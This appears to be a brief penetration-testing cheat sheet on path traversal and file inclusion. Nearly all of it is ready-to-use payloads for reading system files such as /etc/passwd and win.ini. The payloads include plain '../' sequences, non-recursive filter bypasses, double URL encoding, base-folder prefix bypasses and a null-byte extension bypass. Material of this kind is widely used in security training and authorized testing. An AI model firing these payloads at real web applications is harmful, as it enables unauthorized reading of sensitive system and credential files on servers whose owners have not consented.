Path Traversal / File Inclusion

Path Traversal / Directory Traversal

No input validation

../../../etc/passwd
../../../windows/win.ini 

Non-Recursive filtering bypass

app is filtering "../"

....//....//....//etc/passwd
..././..././..././etc/passwd

Absolute Path Bypass

/etc/passwd

Encoding bypass

try double encoding the "/"

  • URL encode the "/" then URL encode every character

..%25%32%66
  • URL encode the "/" then URL encode the result

..%252f

Burpsuite pro include a Path Traversal fuzzing wordlist.

Validation of starting path bypass

Sometimes the application requires that the supplied filename begins with a base folder. We can include this base folder and add in the traversal sequences after it.

/var/www/images/../../../etc/passwd

File extension validation bypass

If app verifying the path must end with a certain file extension, try null byte

../../../etc/passwd%00.png

Resources

Last updated